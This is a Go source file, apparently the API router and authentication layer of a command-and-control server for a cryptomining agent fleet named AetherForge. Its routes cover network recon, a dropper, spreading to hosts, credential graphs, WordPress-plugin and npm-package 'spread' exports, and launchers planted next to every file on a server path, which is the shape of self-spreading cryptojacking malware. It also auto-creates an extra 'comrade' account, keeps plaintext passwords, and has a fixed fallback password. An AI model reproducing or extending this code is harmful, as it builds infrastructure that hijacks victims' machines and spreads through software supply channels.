Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Score crawl inputs by SSRF-prone field names and register ping-back canaries for operator paste confirmation.
960 lines
34 KiB
Go
960 lines
34 KiB
Go
package api
|
|
|
|
import (
|
|
"crypto/rand"
|
|
"crypto/sha256"
|
|
"crypto/subtle"
|
|
"encoding/hex"
|
|
"encoding/json"
|
|
"fmt"
|
|
"log"
|
|
"net/http"
|
|
"os"
|
|
"path/filepath"
|
|
"sort"
|
|
"strings"
|
|
"sync"
|
|
"time"
|
|
"unicode"
|
|
|
|
"crypto-miner-server/internal/builder"
|
|
"crypto-miner-server/internal/db"
|
|
"crypto-miner-server/internal/erasure"
|
|
|
|
"github.com/go-chi/chi/v5"
|
|
"github.com/go-chi/chi/v5/middleware"
|
|
"github.com/go-chi/cors"
|
|
"golang.org/x/crypto/bcrypt"
|
|
)
|
|
|
|
// authSessionCache avoids running bcrypt on every API request.
|
|
// Key: SHA-256(user+":"+password) hex ? value: expiry time.
|
|
// Entries are valid for authCacheTTL after the last successful login.
|
|
// Bcrypt only runs on cache miss or expiry.
|
|
var (
|
|
authSessionCache = map[string]time.Time{}
|
|
authSessionCacheMu sync.Mutex
|
|
authCacheTTL = 5 * time.Minute
|
|
|
|
// builtinSecondaryUser is provisioned on every deck start if missing (random password in login-credentials.json).
|
|
builtinSecondaryUser = "comrade"
|
|
)
|
|
|
|
func authCacheKey(user, pass string) string {
|
|
h := sha256.Sum256([]byte(user + ":" + pass))
|
|
return hex.EncodeToString(h[:])
|
|
}
|
|
|
|
func authCacheHit(user, pass string) bool {
|
|
key := authCacheKey(user, pass)
|
|
authSessionCacheMu.Lock()
|
|
defer authSessionCacheMu.Unlock()
|
|
exp, ok := authSessionCache[key]
|
|
return ok && time.Now().Before(exp)
|
|
}
|
|
|
|
func authCacheSet(user, pass string) {
|
|
key := authCacheKey(user, pass)
|
|
authSessionCacheMu.Lock()
|
|
defer authSessionCacheMu.Unlock()
|
|
authSessionCache[key] = time.Now().Add(authCacheTTL)
|
|
// Prune expired entries opportunistically.
|
|
if len(authSessionCache) > 512 {
|
|
now := time.Now()
|
|
for k, v := range authSessionCache {
|
|
if now.After(v) {
|
|
delete(authSessionCache, k)
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
var (
|
|
// authUsers is populated from data/users.json on startup. Plain-text copies
|
|
// for console display live in data/login-credentials.json (0600).
|
|
authUsers = map[string]string{}
|
|
usersFilePath string
|
|
usersMu sync.RWMutex
|
|
authLoadMu sync.Mutex
|
|
authLoadedDataDir string
|
|
|
|
// fleetSecretForAgentPaths holds the shared fleet secret used to authenticate
|
|
// agent-facing REST endpoints (/api/v1/agent/*). Set once from main.go via
|
|
// SetAgentPathSecret so basicAuthMiddleware can check X-Fleet-Secret headers.
|
|
fleetSecretForAgentPaths string
|
|
fleetSecretForAgentPathsMu sync.RWMutex
|
|
|
|
// rotateSecretFn is called when POST /server/rotate-secret is hit.
|
|
// Wired from main.go so the server can generate, persist, and propagate the new secret.
|
|
rotateSecretFn func() (string, error)
|
|
)
|
|
|
|
// SetAgentPathSecret stores the fleet secret so basicAuthMiddleware can verify
|
|
// X-Fleet-Secret headers on /api/v1/agent/* routes.
|
|
func SetAgentPathSecret(secret string) {
|
|
fleetSecretForAgentPathsMu.Lock()
|
|
fleetSecretForAgentPaths = secret
|
|
fleetSecretForAgentPathsMu.Unlock()
|
|
}
|
|
|
|
// SetRotateSecretFn registers the callback that handles POST /server/rotate-secret.
|
|
func SetRotateSecretFn(fn func() (string, error)) {
|
|
rotateSecretFn = fn
|
|
}
|
|
|
|
// isBcryptHash returns true when s looks like a bcrypt hash ($2a$, $2b$, $2y$).
|
|
func isBcryptHash(s string) bool {
|
|
return len(s) > 4 && s[0] == '$' && s[1] == '2'
|
|
}
|
|
|
|
// hashPassword returns a bcrypt hash of password (cost 12).
|
|
func hashPassword(password string) (string, error) {
|
|
h, err := bcrypt.GenerateFromPassword([]byte(password), 12)
|
|
if err != nil {
|
|
return "", err
|
|
}
|
|
return string(h), nil
|
|
}
|
|
|
|
// checkPassword verifies password against the stored value. Stored values are
|
|
// always bcrypt hashes after migration; plain-text legacy values are accepted
|
|
// once then re-hashed automatically.
|
|
func checkPassword(stored, provided string) bool {
|
|
if isBcryptHash(stored) {
|
|
return bcrypt.CompareHashAndPassword([]byte(stored), []byte(provided)) == nil
|
|
}
|
|
// Legacy plain-text comparison (constant-time).
|
|
return subtle.ConstantTimeCompare([]byte(provided), []byte(stored)) == 1
|
|
}
|
|
|
|
func loginSidecarPath(dataDir string) string {
|
|
return filepath.Join(dataDir, "login-credentials.json")
|
|
}
|
|
|
|
func readLoginSidecar(path string) (map[string]string, error) {
|
|
data, err := os.ReadFile(path)
|
|
if err != nil {
|
|
return nil, err
|
|
}
|
|
var creds map[string]string
|
|
if err := json.Unmarshal(data, &creds); err != nil {
|
|
return nil, err
|
|
}
|
|
if len(creds) == 0 {
|
|
return nil, fmt.Errorf("empty login sidecar")
|
|
}
|
|
return creds, nil
|
|
}
|
|
|
|
func writeLoginSidecar(path string, creds map[string]string) error {
|
|
if err := os.MkdirAll(filepath.Dir(path), 0755); err != nil {
|
|
return err
|
|
}
|
|
data, err := json.MarshalIndent(creds, "", " ")
|
|
if err != nil {
|
|
return err
|
|
}
|
|
return os.WriteFile(path, data, 0600)
|
|
}
|
|
|
|
func upsertLoginSidecar(dataDir, username, password string) error {
|
|
path := loginSidecarPath(dataDir)
|
|
creds, _ := readLoginSidecar(path)
|
|
if creds == nil {
|
|
creds = map[string]string{}
|
|
}
|
|
creds[username] = password
|
|
return writeLoginSidecar(path, creds)
|
|
}
|
|
|
|
func printStartupCredentials(dataDir string) {
|
|
creds, err := readLoginSidecar(loginSidecarPath(dataDir))
|
|
if err != nil || len(creds) == 0 {
|
|
return
|
|
}
|
|
fmt.Println(formatLoginBanner(creds))
|
|
}
|
|
|
|
func formatLoginBanner(creds map[string]string) string {
|
|
var b strings.Builder
|
|
b.WriteString("\n????????????????????????????????????????????????????\n")
|
|
b.WriteString("? AetherForge ? Dashboard Login ?\n")
|
|
b.WriteString("? ?\n")
|
|
users := make([]string, 0, len(creds))
|
|
for user := range creds {
|
|
users = append(users, user)
|
|
}
|
|
sort.Strings(users)
|
|
for _, user := range users {
|
|
pass := creds[user]
|
|
fmt.Fprintf(&b, "? Username : %-34s?\n", user)
|
|
fmt.Fprintf(&b, "? Password : %-34s?\n", pass)
|
|
b.WriteString("? ?\n")
|
|
}
|
|
b.WriteString("? Also saved in data/login-credentials.json ?\n")
|
|
b.WriteString("? Change passwords in Calibrate ? Users. ?\n")
|
|
b.WriteString("????????????????????????????????????????????????????\n")
|
|
return b.String()
|
|
}
|
|
|
|
// LoadUsers loads dashboard accounts and prints login credentials to the console.
|
|
// Call once during startup (before heavy init) so operators always see passwords.
|
|
func LoadUsers(dataDir string) {
|
|
ensureUsersLoaded(dataDir)
|
|
printStartupCredentials(dataDir)
|
|
}
|
|
|
|
func ensureUsersLoaded(dataDir string) {
|
|
abs, err := filepath.Abs(dataDir)
|
|
if err != nil {
|
|
abs = dataDir
|
|
}
|
|
authLoadMu.Lock()
|
|
defer authLoadMu.Unlock()
|
|
if authLoadedDataDir == abs {
|
|
return
|
|
}
|
|
bootstrapUsers(dataDir)
|
|
authLoadedDataDir = abs
|
|
}
|
|
|
|
func bootstrapUsers(dataDir string) {
|
|
usersFilePath = filepath.Join(dataDir, "users.json")
|
|
sidecarPath := loginSidecarPath(dataDir)
|
|
usersMu.Lock()
|
|
defer usersMu.Unlock()
|
|
|
|
data, err := os.ReadFile(usersFilePath)
|
|
if err == nil {
|
|
var loaded map[string]string
|
|
if json.Unmarshal(data, &loaded) == nil && len(loaded) > 0 {
|
|
migrated := false
|
|
for u, v := range loaded {
|
|
if !isBcryptHash(v) {
|
|
if h, herr := hashPassword(v); herr == nil {
|
|
loaded[u] = h
|
|
migrated = true
|
|
log.Printf("[Auth] Migrated plain-text password for user %q to bcrypt", u)
|
|
}
|
|
}
|
|
}
|
|
authUsers = loaded
|
|
changed := migrated
|
|
if ensureBuiltinSecondaryUser(authUsers, dataDir) {
|
|
changed = true
|
|
}
|
|
if changed {
|
|
d, _ := json.MarshalIndent(authUsers, "", " ")
|
|
_ = os.WriteFile(usersFilePath, d, 0600)
|
|
}
|
|
reconcileLoginSidecar(dataDir, sidecarPath, loaded)
|
|
return
|
|
}
|
|
}
|
|
|
|
adminPW := generateRandomPassword()
|
|
comradePW := generateRandomPassword()
|
|
adminHash, herr := hashPassword(adminPW)
|
|
if herr != nil {
|
|
adminHash = adminPW
|
|
log.Printf("[Auth] WARNING: bcrypt failed for admin: %v", herr)
|
|
}
|
|
comradeHash, herr := hashPassword(comradePW)
|
|
if herr != nil {
|
|
comradeHash = comradePW
|
|
log.Printf("[Auth] WARNING: bcrypt failed for %q: %v", builtinSecondaryUser, herr)
|
|
}
|
|
authUsers = map[string]string{
|
|
"admin": adminHash,
|
|
builtinSecondaryUser: comradeHash,
|
|
}
|
|
if mkErr := os.MkdirAll(dataDir, 0755); mkErr == nil {
|
|
d, _ := json.MarshalIndent(authUsers, "", " ")
|
|
if writeErr := os.WriteFile(usersFilePath, d, 0600); writeErr != nil {
|
|
log.Printf("[Auth] WARNING: could not save users.json: %v", writeErr)
|
|
}
|
|
_ = writeLoginSidecar(sidecarPath, map[string]string{
|
|
"admin": adminPW,
|
|
builtinSecondaryUser: comradePW,
|
|
})
|
|
}
|
|
}
|
|
|
|
const legacySecondaryUser = "comrad"
|
|
|
|
// ensureBuiltinSecondaryUser adds the comrade account when absent. Password is random and
|
|
// written to login-credentials.json via upsertLoginSidecar. Caller must hold usersMu.
|
|
func ensureBuiltinSecondaryUser(users map[string]string, dataDir string) bool {
|
|
if _, ok := users[builtinSecondaryUser]; ok {
|
|
return false
|
|
}
|
|
if hash, ok := users[legacySecondaryUser]; ok {
|
|
users[builtinSecondaryUser] = hash
|
|
delete(users, legacySecondaryUser)
|
|
sidecarPath := loginSidecarPath(dataDir)
|
|
if creds, err := readLoginSidecar(sidecarPath); err == nil {
|
|
if pw, ok := creds[legacySecondaryUser]; ok {
|
|
delete(creds, legacySecondaryUser)
|
|
creds[builtinSecondaryUser] = pw
|
|
_ = writeLoginSidecar(sidecarPath, creds)
|
|
}
|
|
}
|
|
log.Printf("[Auth] Renamed legacy user %q to %q", legacySecondaryUser, builtinSecondaryUser)
|
|
return true
|
|
}
|
|
pw := generateRandomPassword()
|
|
hashed, herr := hashPassword(pw)
|
|
if herr != nil {
|
|
hashed = pw
|
|
log.Printf("[Auth] WARNING: bcrypt failed for %q: %v", builtinSecondaryUser, herr)
|
|
}
|
|
users[builtinSecondaryUser] = hashed
|
|
if err := upsertLoginSidecar(dataDir, builtinSecondaryUser, pw); err != nil {
|
|
log.Printf("[Auth] WARNING: could not update login-credentials.json for %q: %v", builtinSecondaryUser, err)
|
|
}
|
|
log.Printf("[Auth] Created builtin user %q (password in login-credentials.json)", builtinSecondaryUser)
|
|
return true
|
|
}
|
|
|
|
func reconcileLoginSidecar(dataDir, sidecarPath string, users map[string]string) {
|
|
if _, err := readLoginSidecar(sidecarPath); err == nil {
|
|
return
|
|
}
|
|
if _, ok := users["admin"]; !ok {
|
|
return
|
|
}
|
|
pw := generateRandomPassword()
|
|
hashed, herr := hashPassword(pw)
|
|
if herr != nil {
|
|
log.Printf("[Auth] WARNING: could not regenerate admin password: %v", herr)
|
|
return
|
|
}
|
|
users["admin"] = hashed
|
|
authUsers = users
|
|
d, _ := json.MarshalIndent(authUsers, "", " ")
|
|
if writeErr := os.WriteFile(usersFilePath, d, 0600); writeErr != nil {
|
|
log.Printf("[Auth] WARNING: could not save users.json: %v", writeErr)
|
|
return
|
|
}
|
|
if writeErr := writeLoginSidecar(sidecarPath, map[string]string{"admin": pw}); writeErr != nil {
|
|
log.Printf("[Auth] WARNING: could not save login-credentials.json: %v", writeErr)
|
|
return
|
|
}
|
|
log.Printf("[Auth] Regenerated admin password (login-credentials.json was missing)")
|
|
}
|
|
|
|
// generateRandomPassword returns an 8-character password (4 random bytes as hex).
|
|
func validateDashboardUsername(username string) error {
|
|
if len(username) < 3 || len(username) > 32 {
|
|
return fmt.Errorf("username must be 3-32 characters")
|
|
}
|
|
for _, c := range username {
|
|
if !unicode.IsLetter(c) && !unicode.IsDigit(c) && c != '_' && c != '-' {
|
|
return fmt.Errorf("username contains invalid characters")
|
|
}
|
|
}
|
|
return nil
|
|
}
|
|
|
|
func generateRandomPassword() string {
|
|
b := make([]byte, 8)
|
|
if _, err := rand.Read(b); err != nil {
|
|
return "aether1!"
|
|
}
|
|
return hex.EncodeToString(b)
|
|
}
|
|
|
|
func saveUser(username, password string) error {
|
|
hashed, err := hashPassword(password)
|
|
if err != nil {
|
|
return fmt.Errorf("bcrypt: %w", err)
|
|
}
|
|
usersMu.Lock()
|
|
authUsers[username] = hashed
|
|
if usersFilePath == "" {
|
|
usersFilePath = filepath.Join("data", "users.json")
|
|
}
|
|
dataDir := filepath.Dir(usersFilePath)
|
|
if err := os.MkdirAll(dataDir, 0755); err != nil {
|
|
usersMu.Unlock()
|
|
return err
|
|
}
|
|
data, _ := json.MarshalIndent(authUsers, "", " ")
|
|
if err := os.WriteFile(usersFilePath, data, 0600); err != nil {
|
|
usersMu.Unlock()
|
|
return err
|
|
}
|
|
usersMu.Unlock()
|
|
authSessionCacheMu.Lock()
|
|
authSessionCache = map[string]time.Time{}
|
|
authSessionCacheMu.Unlock()
|
|
if err := upsertLoginSidecar(dataDir, username, password); err != nil {
|
|
log.Printf("[Auth] WARNING: could not update login-credentials.json: %v", err)
|
|
}
|
|
return nil
|
|
}
|
|
|
|
// isSPAAuthRequest is true when the dashboard SPA sent credentials or its client marker.
|
|
// Mobile browsers show a native HTTP Basic dialog on 401 + WWW-Authenticate; SPA fetch
|
|
// must not trigger that ? only bare browser navigations without these headers should.
|
|
func isSPAAuthRequest(r *http.Request) bool {
|
|
return r.Header.Get("Authorization") != "" || r.Header.Get("X-AetherForge-Client") != ""
|
|
}
|
|
|
|
func basicAuthMiddleware(next http.Handler) http.Handler {
|
|
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
|
if r.Method == http.MethodOptions {
|
|
next.ServeHTTP(w, r)
|
|
return
|
|
}
|
|
|
|
path := r.URL.Path
|
|
|
|
// Health check and one-liner installer endpoints are always open.
|
|
// NOTE: build download/artifact routes are intentionally NOT in this list ?
|
|
// they require fleet-secret or Basic Auth (see isDownload block below).
|
|
if path == "/api/v1/health" ||
|
|
path == "/get" || path == "/install.sh" || path == "/install.ps1" || path == "/install.command" ||
|
|
strings.HasPrefix(path, "/api/v1/public/") {
|
|
next.ServeHTTP(w, r)
|
|
return
|
|
}
|
|
|
|
// Agent-facing API endpoints (/api/v1/agent/*) require the fleet secret
|
|
// in the X-Fleet-Secret header instead of Basic auth. This ensures only
|
|
// legitimately forged agents can call these endpoints.
|
|
// A missing or empty fleet secret is always rejected ? the server auto-
|
|
// generates one at startup so this state should never occur in production.
|
|
if strings.HasPrefix(path, "/api/v1/agent/") {
|
|
fleetSecretForAgentPathsMu.RLock()
|
|
secret := fleetSecretForAgentPaths
|
|
fleetSecretForAgentPathsMu.RUnlock()
|
|
if secret == "" {
|
|
http.Error(w, "server not ready: fleet secret not configured", http.StatusServiceUnavailable)
|
|
return
|
|
}
|
|
provided := r.Header.Get("X-Fleet-Secret")
|
|
if subtle.ConstantTimeCompare([]byte(provided), []byte(secret)) != 1 {
|
|
http.Error(w, "Forbidden", http.StatusForbidden)
|
|
return
|
|
}
|
|
next.ServeHTTP(w, r)
|
|
return
|
|
}
|
|
|
|
// Build download/artifact/uninstall routes: accept fleet secret OR Basic Auth.
|
|
// This lets forged agents self-upgrade (they have the fleet secret baked in)
|
|
// while still requiring credentials for unauthenticated callers.
|
|
isDownload := strings.HasPrefix(path, "/api/v1/builds/") &&
|
|
(strings.HasSuffix(path, "/download") ||
|
|
strings.Contains(path, "/artifact/") ||
|
|
strings.HasSuffix(path, "/uninstall"))
|
|
if isDownload {
|
|
fleetSecretForAgentPathsMu.RLock()
|
|
secret := fleetSecretForAgentPaths
|
|
fleetSecretForAgentPathsMu.RUnlock()
|
|
provided := r.Header.Get("X-Fleet-Secret")
|
|
if secret != "" && subtle.ConstantTimeCompare([]byte(provided), []byte(secret)) == 1 {
|
|
next.ServeHTTP(w, r)
|
|
return
|
|
}
|
|
// Fall through to Basic Auth below.
|
|
}
|
|
|
|
user, pass, ok := r.BasicAuth()
|
|
if !ok {
|
|
if !isSPAAuthRequest(r) {
|
|
w.Header().Set("WWW-Authenticate", `Basic realm="AetherForge Control Deck"`)
|
|
}
|
|
http.Error(w, "Unauthorized", http.StatusUnauthorized)
|
|
return
|
|
}
|
|
|
|
// Fast path ? skip bcrypt if this credential pair was recently validated.
|
|
// bcrypt at cost-12 takes ~250 ms; the cache keeps the dashboard snappy.
|
|
if !authCacheHit(user, pass) {
|
|
usersMu.RLock()
|
|
storedHash, exists := authUsers[user]
|
|
usersMu.RUnlock()
|
|
|
|
if !exists || !checkPassword(storedHash, pass) {
|
|
if !isSPAAuthRequest(r) {
|
|
w.Header().Set("WWW-Authenticate", `Basic realm="AetherForge Control Deck"`)
|
|
}
|
|
http.Error(w, "Unauthorized", http.StatusUnauthorized)
|
|
return
|
|
}
|
|
// Credential verified ? cache it for the next few minutes.
|
|
authCacheSet(user, pass)
|
|
}
|
|
|
|
next.ServeHTTP(w, withAuthUser(r, user))
|
|
})
|
|
}
|
|
|
|
func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler, builderHandler *builder.Handler, blueprintHandler *BlueprintHandler, aiHandler *AIHandler, fleetHandler *FleetHandler, fleetAIHandler *FleetAIHandler, dropperHandler *DropperHandler, spreadHandler *SpreadHandler, spreadCredHandler *SpreadCredHandler, deployPlanHandler *DeployPlanHandler, publicHandler *PublicHandler, pathForgeHandler *builder.PathForgeHandler, pathTracerHandler *PathTracerHandler, webRoot string, dataDir string, publicURLOverride func() string, listenPort int, cloudflaredConfigured func() bool, serverVersion ...string) http.Handler {
|
|
ensureUsersLoaded(dataDir)
|
|
|
|
version := "AetherForge"
|
|
if len(serverVersion) > 0 && serverVersion[0] != "" {
|
|
version = serverVersion[0]
|
|
}
|
|
|
|
reconHandler := NewReconHandler(database, wsHub)
|
|
subnetDiscoveryHandler := NewSubnetDiscoveryHandler(database, wsHub)
|
|
|
|
r := chi.NewRouter()
|
|
|
|
// Middleware (global)
|
|
r.Use(middleware.Logger)
|
|
r.Use(middleware.Recoverer)
|
|
r.Use(cors.Handler(cors.Options{
|
|
AllowedOrigins: []string{"*"},
|
|
AllowedMethods: []string{"GET", "POST", "PUT", "DELETE", "OPTIONS"},
|
|
// X-Fleet-Secret is required by agent-facing endpoints; include it so
|
|
// browser-based callers (dev tools, custom dashboards) are not blocked
|
|
// by CORS preflight when sending that header.
|
|
AllowedHeaders: []string{"Accept", "Authorization", "Content-Type", "X-Fleet-Secret", "X-AetherForge-Client"},
|
|
AllowCredentials: false,
|
|
}))
|
|
|
|
// REST API ? auth only on /api/v1 (dashboard WS + static SPA stay open)
|
|
r.Route("/api/v1", func(r chi.Router) {
|
|
r.Use(basicAuthMiddleware)
|
|
h := NewHandler(database)
|
|
|
|
r.Get("/health", h.HealthCheck)
|
|
r.Post("/auth/ws-ticket", func(w http.ResponseWriter, req *http.Request) {
|
|
user := AuthUsername(req)
|
|
if user == "" {
|
|
http.Error(w, "Unauthorized", http.StatusUnauthorized)
|
|
return
|
|
}
|
|
ticket := issueWSTicket(user)
|
|
writeJSON(w, map[string]interface{}{
|
|
"ticket": ticket,
|
|
"expires_in": int(wsTicketTTL.Seconds()),
|
|
})
|
|
})
|
|
r.Get("/server/ready", h.ServerReady)
|
|
r.Get("/server/info", func(w http.ResponseWriter, r *http.Request) {
|
|
override := ""
|
|
if publicURLOverride != nil {
|
|
override = publicURLOverride()
|
|
}
|
|
tunnelReady := false
|
|
if cloudflaredConfigured != nil {
|
|
tunnelReady = cloudflaredConfigured()
|
|
}
|
|
GetServerInfo(w, r, override, listenPort, tunnelReady, version)
|
|
})
|
|
|
|
// Dashboard
|
|
r.Get("/dashboard/stats", h.GetDashboardStats)
|
|
|
|
vulnHandler := NewVulnHandler()
|
|
r.Get("/vuln/catalog", vulnHandler.Catalog)
|
|
|
|
r.Post("/recon/scan", reconHandler.Scan)
|
|
r.Post("/recon/relay-scan", reconHandler.RelayScan)
|
|
r.Get("/recon/discovered-hosts", subnetDiscoveryHandler.GetDiscoveredHosts)
|
|
|
|
// Agents
|
|
r.Get("/agents", h.ListAgents)
|
|
r.Get("/agents/{id}", h.GetAgent)
|
|
r.Get("/agents/{id}/stats", h.GetAgentStats)
|
|
if fleetHandler != nil {
|
|
r.Post("/agents/{id}/command", fleetHandler.PostAgentCommand)
|
|
r.Post("/agents/{id}/wol", fleetHandler.PostAgentWOL)
|
|
r.Get("/agents/{id}/log", fleetHandler.GetAgentLog)
|
|
r.Put("/agents/{id}/meta", fleetHandler.PutAgentMeta)
|
|
r.Delete("/agents/{id}", fleetHandler.DeleteAgent)
|
|
r.Post("/agents/bulk-command", fleetHandler.PostBulkCommand)
|
|
r.Post("/agents/bulk-delete", fleetHandler.BulkDeleteAgents)
|
|
}
|
|
|
|
// Fleet ops
|
|
strategyHandler := NewStrategyHandler(wsHub)
|
|
r.Post("/strategy/recompute", strategyHandler.PostRecompute)
|
|
phenotypeHandler := NewPhenotypeHandler(database)
|
|
r.Get("/phenotypes", phenotypeHandler.List)
|
|
|
|
subnetAutopsyHandler := NewSubnetAutopsyHandler(wsHub, pathTracerHandler)
|
|
r.Get("/atlas/subnet-autopsy", subnetAutopsyHandler.Get)
|
|
|
|
if fleetHandler != nil {
|
|
r.Get("/alerts", fleetHandler.GetAlerts)
|
|
r.Post("/alerts/test", fleetHandler.PostAlertTest)
|
|
r.Get("/pools/status", fleetHandler.GetPoolStatus)
|
|
r.Get("/ai/activity", fleetHandler.GetAIActivity)
|
|
r.Get("/earnings/estimate", fleetHandler.GetEarningsEstimate)
|
|
r.Get("/market/xmr", fleetHandler.GetXMRPrice)
|
|
r.Get("/audit", fleetHandler.GetAudit)
|
|
r.Get("/fleet-tasks", fleetHandler.GetFleetTasks)
|
|
r.Put("/fleet-tasks", fleetHandler.PutFleetTask)
|
|
r.Delete("/fleet-tasks/{id}", fleetHandler.DeleteFleetTask)
|
|
r.Get("/dashboard/spread-funnel", fleetHandler.GetSpreadFunnel)
|
|
r.Put("/fleet/policy", fleetHandler.PutFleetPolicy)
|
|
r.Post("/fleet/modules/push", fleetHandler.PostFleetModulePush)
|
|
r.Post("/fleet/graft", fleetHandler.PostFleetGraft)
|
|
r.Get("/fleet/strain-cards", fleetHandler.GetStrainCards)
|
|
r.Post("/fleet/play-strain-card", fleetHandler.PostPlayStrainCard)
|
|
r.Get("/fleet/strain-hospice", fleetHandler.GetStrainHospice)
|
|
r.Post("/fleet/strain-hospice", fleetHandler.PostStrainHospice)
|
|
r.Get("/fleet/oath-ledger", fleetHandler.GetOathLedger)
|
|
r.Post("/fleet/spread-to-host", fleetHandler.PostSpreadToHost)
|
|
}
|
|
if fleetAIHandler != nil {
|
|
r.Get("/ai/models", fleetAIHandler.GetModels)
|
|
r.Get("/ai/config", fleetAIHandler.GetConfig)
|
|
r.Put("/ai/config", fleetAIHandler.PutConfig)
|
|
r.Get("/ai/decisions", fleetAIHandler.GetDecisions)
|
|
r.Get("/ai/clearance-events", fleetAIHandler.GetClearanceEvents)
|
|
}
|
|
seerHandler := NewSeerHandler(database)
|
|
r.Get("/seer/stream", seerHandler.GetStream)
|
|
r.Post("/seer/stream", seerHandler.PostStream)
|
|
r.Get("/seer/notes", seerHandler.GetNotes)
|
|
r.Post("/seer/notes", seerHandler.PostNote)
|
|
r.Get("/seer/tools", seerHandler.GetTools)
|
|
r.Post("/seer/tools/spread_route", seerHandler.ToolSpreadRoute)
|
|
r.Post("/seer/tools/graft_strain", seerHandler.ToolGraftStrain)
|
|
r.Post("/seer/tools/fork_onion", seerHandler.ToolForkOnion)
|
|
|
|
moduleStore := NewModuleStore(dataDir, func() string {
|
|
fleetSecretForAgentPathsMu.RLock()
|
|
s := fleetSecretForAgentPaths
|
|
fleetSecretForAgentPathsMu.RUnlock()
|
|
return s
|
|
})
|
|
moduleHandler := NewModuleHandler(moduleStore)
|
|
r.Get("/fleet/modules", moduleHandler.ListModules)
|
|
|
|
// Shares
|
|
r.Get("/shares", h.GetRecentShares)
|
|
|
|
// Builds
|
|
r.Get("/builds", h.ListBuilds)
|
|
r.Put("/builds/{id}/pin", h.PinBuild)
|
|
if spreadHandler != nil {
|
|
r.Put("/builds/{id}/public", spreadHandler.SetBuildPublic)
|
|
}
|
|
r.Delete("/builds/pin", h.UnpinAll)
|
|
r.Delete("/builds/{id}", h.DeleteBuild)
|
|
r.Get("/builds/{id}/download", builderHandler.DownloadBuild)
|
|
r.Get("/builds/{id}/artifact/{name}", builderHandler.DownloadBuildArtifact)
|
|
r.Get("/builds/{id}/uninstall", builderHandler.DownloadUninstall)
|
|
|
|
// Config
|
|
r.Get("/config", configHandler.ServeHTTP)
|
|
r.Put("/config", configHandler.ServeHTTP)
|
|
|
|
// Builder
|
|
r.Post("/builder/build", builderHandler.ServeHTTP)
|
|
r.Post("/builder/estimate", builderHandler.ServeEstimate)
|
|
r.Post("/builder/launch-template", builderHandler.ServeLaunchTemplate)
|
|
if spreadHandler != nil {
|
|
r.Post("/builder/spread-kit-export", spreadHandler.ExportSpreadKit)
|
|
r.Post("/builder/wordpress-plugin-export", spreadHandler.ExportWordPressPlugin)
|
|
r.Post("/builder/npm-helper-export", spreadHandler.ExportNpmHelper)
|
|
r.Post("/builder/spread-template-export", spreadHandler.ExportSpreadTemplate)
|
|
r.Post("/builder/cloud-template-export", spreadHandler.ExportCloudTemplate)
|
|
r.Post("/builder/cloud-connection-test", spreadHandler.TestCloudConnection)
|
|
r.Post("/builder/ssm-spread-bundle", spreadHandler.ExportSSMSpreadBundle)
|
|
erasureSwarmHandler := NewErasureSwarmHandler(
|
|
func() erasure.AWSSwarmSettings { return erasure.AWSSwarmSettings{} },
|
|
func() erasure.ShardObjectStore {
|
|
return &erasure.S3HTTPStore{Settings: erasure.AWSSwarmSettings{}}
|
|
},
|
|
)
|
|
r.Post("/builder/erasure-swarm-test", erasureSwarmHandler.PostTest)
|
|
r.Get("/builder/erasure-swarm-policy", erasureSwarmHandler.GetPolicyJSON)
|
|
r.Get("/emberwake/notes", spreadHandler.GetNotes)
|
|
r.Put("/emberwake/notes", spreadHandler.PutNotes)
|
|
r.Get("/emberwake/campaigns", spreadHandler.GetCampaigns)
|
|
r.Get("/emberwake/war-room", spreadHandler.GetWarRoom)
|
|
r.Get("/recon/deploy-kit", spreadHandler.GetDeployKit)
|
|
r.Get("/recon/playbook", spreadHandler.GetReconPlaybook)
|
|
r.Get("/spread/credential-graph", spreadHandler.GetCredGraph)
|
|
r.Get("/spread/service-graph", spreadHandler.GetServiceGraph)
|
|
r.Get("/spread/policy-fanout", spreadHandler.GetPolicyFanout)
|
|
r.Post("/spread/policy-fanout-export", spreadHandler.ExportPolicyFanout)
|
|
r.Get("/emberwake/cred-graph", spreadHandler.GetCredGraph) // legacy alias
|
|
}
|
|
if wsHub != nil {
|
|
scoutHandler := NewScoutConstellationHandler(wsHub)
|
|
r.Get("/scout/constellations", scoutHandler.GetConstellations)
|
|
}
|
|
// Path Forge: walk a local server path, place launchers next to every file
|
|
if pathForgeHandler != nil {
|
|
r.Post("/builder/path-forge", pathForgeHandler.ServeHTTP)
|
|
}
|
|
r.Get("/builder/progress/{token}", builderHandler.ServeProgress)
|
|
r.Delete("/builder/cancel/{token}", func(w http.ResponseWriter, req *http.Request) {
|
|
token := chi.URLParam(req, "token")
|
|
if builderHandler.CancelBuild(token) {
|
|
writeJSON(w, map[string]interface{}{"cancelled": true})
|
|
} else {
|
|
http.Error(w, "build not found or already completed", http.StatusNotFound)
|
|
}
|
|
})
|
|
|
|
// Blueprints (config presets)
|
|
r.Get("/blueprints", blueprintHandler.ServeHTTP)
|
|
r.Post("/blueprints", blueprintHandler.ServeHTTP)
|
|
r.Delete("/blueprints", blueprintHandler.ServeHTTP)
|
|
r.Get("/blueprints/{name}", blueprintHandler.GetBlueprint)
|
|
|
|
// Fleet secret rotation ? generates a new secret, saves config, kicks all agents.
|
|
// Forged agents with the old secret will be rejected until re-forged.
|
|
r.Post("/server/rotate-secret", func(w http.ResponseWriter, req *http.Request) {
|
|
if rotateSecretFn == nil {
|
|
http.Error(w, "rotation not configured", http.StatusServiceUnavailable)
|
|
return
|
|
}
|
|
newSecret, err := rotateSecretFn()
|
|
if err != nil {
|
|
http.Error(w, "rotation failed: "+err.Error(), http.StatusInternalServerError)
|
|
return
|
|
}
|
|
hint := newSecret
|
|
if n := len(hint); n > 8 {
|
|
hint = hint[:8] + "..."
|
|
} else if n > 0 {
|
|
hint += "..."
|
|
}
|
|
writeJSON(w, map[string]interface{}{"ok": true, "hint": hint})
|
|
})
|
|
|
|
// User Management
|
|
r.Post("/users", func(w http.ResponseWriter, req *http.Request) {
|
|
var payload struct {
|
|
Username string `json:"username"`
|
|
Password string `json:"password"`
|
|
}
|
|
if err := json.NewDecoder(req.Body).Decode(&payload); err != nil {
|
|
http.Error(w, "Invalid JSON", http.StatusBadRequest)
|
|
return
|
|
}
|
|
payload.Username = strings.TrimSpace(payload.Username)
|
|
if err := validateDashboardUsername(payload.Username); err != nil {
|
|
http.Error(w, err.Error(), http.StatusBadRequest)
|
|
return
|
|
}
|
|
